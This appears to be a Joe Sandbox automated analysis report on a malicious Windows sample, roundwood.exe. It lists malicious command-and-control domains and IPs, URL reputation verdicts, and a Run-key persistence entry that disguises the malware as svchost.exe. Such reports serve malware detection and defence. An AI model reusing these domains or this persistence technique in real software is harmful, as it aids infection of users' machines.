                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd~svchost.exe, 0000000E.00000003.2721429609.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/pics/29590/bg1.png)login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eotlogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyxynyx.com/login.php3svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://www.google.comt3svchost.exe, 00000002.00000003.2600887126.0000000002BB3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsuersvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.wofflogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsvchost.exe, 0000000E.00000003.2663768290.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://account.live.com/msangcwamsvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433649128.0000017E5C357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdZ6PUsvchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663768290.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://crl.ver)svchost.exe, 0000000E.00000002.3273209037.0000017E5CA00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/pics/28905/arrrow.png)login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyqaz.com/display.cfmlogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://passport.net/tbsvchost.exe, 0000000E.00000003.2602576677.0000017E5CAAA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfsvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdUHV4ZUsvchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsAAAAsvchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdssvchost.exe, 0000000E.00000003.2721429609.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttflogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttflogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyqaz.com/Commercial_Printing_Services.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGlogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQNPSSYIN6Y.htm.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuesvchost.exe, 0000000E.00000002.3272292196.0000017E5BAE3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/ResolveUser.srfsuersvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdessvchost.exe, 0000000E.00000003.2707237589.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2691874635.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyqaz.com/Printing_Inks.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yGzAGlogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdzun9svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww6.galyqaz.com/GlobalSignsvchost.exe, 00000002.00000002.3271285901.000000000086D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trustnsvchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://www.google.comtDsvchost.exe, 00000002.00000003.2600887126.0000000002BB3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww1.lysyfyj.com/tsvchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gatyfus.com/login.phpcom/login.phpsvchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbser-AgentMozilla/4.0svchost.exe, 00000002.00000002.3275296456.0000000009600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3275296456.0000000009608000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://106.15.137.66:8001/dh/147287063_637385.htmlindex8?d=lyrysor.comsvchost.exe, 00000002.00000003.3004451306.00000000008F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cClogin[1].htm0.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.wofflogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://dts.gnpge.comsvchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:svchost.exe, 0000000E.00000003.2459398968.0000017E5C352000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/scrfsvchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSIDsvchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfsvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/pics/28903/search.png)login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://cdn.consentmanager.netlogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAsvchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsvchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://lysyvan.com/svchost.exe, 00000002.00000002.3273079170.0000000002B8D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188535338.00000000008AA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/soap/envelope/svchost.exe, 0000000E.00000003.2497798842.0000017E5C30F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498088928.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496908758.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2497932591.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496322414.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://lysyvan.com/wp-json/svchost.exe, 00000002.00000003.2655234712.000000000085F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          World Map of Contacted IPs

                                                                                                                                                                                                          • No. of IPs < 25%
                                                                                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                                                                                          • 75% < No. of IPs

                                                                                                                                                                                                          Public IPs

                                                                                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                          3.94.10.34
                                                                                                                                                                                                          		lymyxid.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          15.197.240.20
                                                                                                                                                                                                          		qexyhuv.comUnited States
                                                                                                                                                                                                          		7430TANDEMUStrue
                                                                                                                                                                                                          64.190.63.136
                                                                                                                                                                                                          		www.sedoparking.comUnited States
                                                                                                                                                                                                          		11696NBS11696USfalse
                                                                                                                                                                                                          172.234.222.143
                                                                                                                                                                                                          		vojyqem.comUnited States
                                                                                                                                                                                                          		20940AKAMAI-ASN1EUtrue
                                                                                                                                                                                                          72.52.179.174
                                                                                                                                                                                                          		pltraffic7.comUnited States
                                                                                                                                                                                                          		32244LIQUIDWEBUStrue
                                                                                                                                                                                                          154.85.183.50
                                                                                                                                                                                                          		qegyval.comSeychelles
                                                                                                                                                                                                          		134548DXTL-HKDXTLTseungKwanOServiceHKtrue
                                                                                                                                                                                                          64.225.91.73
                                                                                                                                                                                                          		galynuh.comUnited States
                                                                                                                                                                                                          		14061DIGITALOCEAN-ASNUStrue
                                                                                                                                                                                                          208.91.196.145
                                                                                                                                                                                                          		9145.searchmagnified.comVirgin Islands (BRITISH)
                                                                                                                                                                                                          		40034CONFLUENCE-NETWORK-INCVGfalse
                                                                                                                                                                                                          52.34.198.229
                                                                                                                                                                                                          		lygyvuj.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          199.191.50.83
                                                                                                                                                                                                          		galyqaz.comVirgin Islands (BRITISH)
                                                                                                                                                                                                          		40034CONFLUENCE-NETWORK-INCVGtrue
                                                                                                                                                                                                          13.248.169.48
                                                                                                                                                                                                          		pupydeq.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          106.15.137.66
                                                                                                                                                                                                          		unknownChina
                                                                                                                                                                                                          		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdfalse
                                                                                                                                                                                                          103.224.212.210
                                                                                                                                                                                                          		lyxynyx.comAustralia
                                                                                                                                                                                                          		133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                                                                                                                          18.208.156.248
                                                                                                                                                                                                          		pupycag.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          208.100.26.245
                                                                                                                                                                                                          		lyvyxor.comUnited States
                                                                                                                                                                                                          		32748STEADFASTUStrue
                                                                                                                                                                                                          103.224.182.252
                                                                                                                                                                                                          		vofycot.comAustralia
                                                                                                                                                                                                          		133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                                                                                                                          199.59.243.226
                                                                                                                                                                                                          		77026.bodis.comUnited States
                                                                                                                                                                                                          		395082BODIS-NJUSfalse
                                                                                                                                                                                                          103.150.11.230
                                                                                                                                                                                                          		gtm-sg-6l13ukk0m05.qu200.comunknown
                                                                                                                                                                                                          		59253LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSGtrue
                                                                                                                                                                                                          3.64.163.50
                                                                                                                                                                                                          		puzylyp.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          91.195.240.19
                                                                                                                                                                                                          		parkingpage.namecheap.comGermany
                                                                                                                                                                                                          		47846SEDO-ASDEtrue
                                                                                                                                                                                                          162.255.119.102
                                                                                                                                                                                                          		unknownUnited States
                                                                                                                                                                                                          		22612NAMECHEAP-NETUStrue
                                                                                                                                                                                                          44.221.84.105
                                                                                                                                                                                                          		gadyciz.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          154.212.231.82
                                                                                                                                                                                                          		gadyniw.comSeychelles
                                                                                                                                                                                                          		133201COMING-ASABCDEGROUPCOMPANYLIMITEDHKtrue
                                                                                                                                                                                                          188.114.96.3
                                                                                                                                                                                                          		unknownEuropean Union
                                                                                                                                                                                                          		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                          85.17.31.122
                                                                                                                                                                                                          		unknownNetherlands
                                                                                                                                                                                                          		60781LEASEWEB-NL-AMS-01NetherlandsNLtrue
                                                                                                                                                                                                          69.162.80.57
                                                                                                                                                                                                          		lysyfyj.comUnited States
                                                                                                                                                                                                          		46475LIMESTONENETWORKSUStrue

                                                                                                                                                                                                          General Information

                                                                                                                                                                                                          Joe Sandbox version:40.0.0 Tourmaline
                                                                                                                                                                                                          Analysis ID:1498164
                                                                                                                                                                                                          Start date and time:2024-08-23 18:41:19 +02:00
                                                                                                                                                                                                          Joe Sandbox product:CloudBasic
                                                                                                                                                                                                          Overall analysis duration:0h 9m 17s
                                                                                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                                                                                          Report type:full
                                                                                                                                                                                                          Cookbook file name:default.jbs
                                                                                                                                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                          Number of analysed new started processes analysed:25
                                                                                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                                                                                          Number of injected processes analysed:15
                                                                                                                                                                                                          Technologies:
                                                                                                                                                                                                          • HCA enabled
                                                                                                                                                                                                          • EGA enabled
                                                                                                                                                                                                          • AMSI enabled
                                                                                                                                                                                                          Analysis Mode:default
                                                                                                                                                                                                          Analysis stop reason:Timeout
                                                                                                                                                                                                          Sample name:roundwood.exe
                                                                                                                                                                                                          Detection:MAL
                                                                                                                                                                                                          Classification:mal100.bank.troj.spyw.expl.evad.winEXE@130/42@1708/26
                                                                                                                                                                                                          EGA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          HCA Information:
                                                                                                                                                                                                          • Successful, ratio: 99%
                                                                                                                                                                                                          • Number of executed functions: 68
                                                                                                                                                                                                          • Number of non-executed functions: 263
                                                                                                                                                                                                          Cookbook Comments:
                                                                                                                                                                                                          • Found application associated with file extension: .exe

                                                                                                                                                                                                          Warnings

                                                                                                                                                                                                          • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                          • Excluded IPs from analysis (whitelisted): 2.23.209.135, 2.23.209.130, 2.23.209.177, 2.23.209.133, 2.23.209.182, 2.23.209.176, 2.23.209.189, 2.23.209.183, 2.23.209.179, 204.79.197.200, 13.107.21.200, 2.23.209.140, 2.23.209.158, 2.23.209.149, 2.23.209.143, 2.23.209.148, 2.23.209.154, 2.23.209.150, 2.23.209.142, 40.126.32.136, 20.190.160.17, 40.126.32.133, 40.126.32.140, 40.126.32.68, 40.126.32.74, 20.190.160.14, 20.190.160.20, 2.23.209.186, 2.23.209.185, 2.23.209.187, 2.23.209.175, 2.23.209.131, 2.23.209.144, 2.23.209.160, 2.23.209.141, 2.23.209.162, 2.23.209.161, 20.42.73.29
                                                                                                                                                                                                          • Excluded domains from analysis (whitelisted): www.bing.com, a-0001.a-msedge.net, prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, cn-bing-com.cn.a-0001.a-msedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, crl.verisign.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                                                                                                                                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                          • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                          • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                          • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                          • VT rate limit hit for: roundwood.exe

                                                                                                                                                                                                          Simulations

                                                                                                                                                                                                          Behavior and APIs

                                                                                                                                                                                                          TimeTypeDescription
                                                                                                                                                                                                          12:43:00API Interceptor23998x Sleep call for process: svchost.exe modified
                                                                                                                                                                                                          12:43:14API Interceptor4x Sleep call for process: WerFault.exe modified
                                                                                                                                                                                                          18:42:47AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run userinit C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          18:42:57AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run userinit C:\Windows\apppatch\svchost.exe

                                                                                                                                                                                                          Joe Sandbox View / Context

                                                                                                                                                                                                          IPs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          3.94.10.347sAylAXBOb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • thoughprobable.net/index.php
                                                                                                                                                                                                          7sAylAXBOb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • thoughprobable.net/index.php
                                                                                                                                                                                                          5a5O0c0oJP.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • thoughprobable.net/index.php
                                                                                                                                                                                                          5a5O0c0oJP.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • thoughprobable.net/index.php
                                                                                                                                                                                                          15.197.240.20rPHOTO09AUG2024.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • www.donnavariedades.com/fo8o/
                                                                                                                                                                                                          QLLafoDdqv.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • www.donnavariedades.com/fo8o/
                                                                                                                                                                                                          LF2024022.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                                                                          • www.johnasian.com/jn17/?AjFxkn=AUopA6EtHNKAXsGcnergFbbGiEMiDoIvdiVznSugjPZqqO5N3A9xjJjKmrW26oeiLAOH&Yxl0T=CPqtRfop
                                                                                                                                                                                                          UAyH98ukuA.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • www.id91920.com/fs83/?K6kd=8lIozjCqSLfPDorgIcX1ftJlpRSaTueiBgmxgg5HldscziyRpsyXpMHH8F7QpJEOuhLDcFmkzQ==&uTrL=_bj8lfEpU
                                                                                                                                                                                                          240330_unpackedGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • pimphattana.com/
                                                                                                                                                                                                          64.190.63.136http://efense.com/v3/__https:/www.duke-energy.com/find-it-duke__%3B!!No0KQ4w!udAqG0Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • sedoparking.com/frmpark/efense.com/Skenzor1/park.js
                                                                                                                                                                                                          http://leostop.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.leostop.com/search/tsc.php?200=NTkyMjkyNTEx&21=OC40Ni4xMjMuMzM=&681=MTcyMTk2Nzk4MTgxODg2ZmRhZDJjNzU3NTZlMTc0NmFkMjA5N2NhNTYx&crc=688a5d6af653e3a6b7501c60b740173e6added63&cv=1
                                                                                                                                                                                                          4C49F078D9E8409D98D83AEBA2C037339680B2ABF7471B599E736A7AD99FB08D.exeGet hashmaliciousBdaejec, SocelarsBrowse
                                                                                                                                                                                                          • ww1.icodeps.com/?usid=27&utid=6773648594
                                                                                                                                                                                                          http://datingsitefree.pages.dev/link-2Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.ngelits.com/search/tsc.php?200=NTY0Nzc0OTIz&21=OC40Ni4xMjMuMzM=&681=MTcyMTc3NTA4OTJjZTdkMmM1NjEwYTgyMzJjZDQwY2EzZjJmNzA0YTEy&crc=5d6b65933af518cdf4d15c16efb5151a23c299ab&cv=1
                                                                                                                                                                                                          zkGOUJOnmc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.flu.cc/?usid=17&utid=
                                                                                                                                                                                                          Reporte Comercial.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.pinochoconciertos.co/search/tsc.php?200=NTcxMTM0OTU2&21=OC40Ni4xMjMuMzM=&681=MTcxOTU5ODQ3MjU1NDYzYjVjOGQ4NGY5ZTRmYjFjZTRiNzhkZjBlODAy&crc=4cd4c0d65f78dddfc0f42871994ccdfc14d83923&cv=1
                                                                                                                                                                                                          pk3hXijbfHZz69Q.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • www.fullpaw.com/cr12/?jBZHx=KneTJ&t8o4ntI=LwqQubUKlntmM2qOdJDn0X3laVPQjbtHetbt4FWlj/sojHk4CP5kJb8A6VBG+/aiG1Sf
                                                                                                                                                                                                          FX6nkep9GCEHbmb.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • www.fullpaw.com/cr12/?8pY=c2MXfj9hZ4EphnoP&ZPx4zB2H=LwqQubUKlntmM2qOdJDn0X3laVPQjbtHetbt4FWlj/sojHk4CP5kJb8A6VBG+/aiG1Sf
                                                                                                                                                                                                          file.exeGet hashmaliciousCMSBruteBrowse
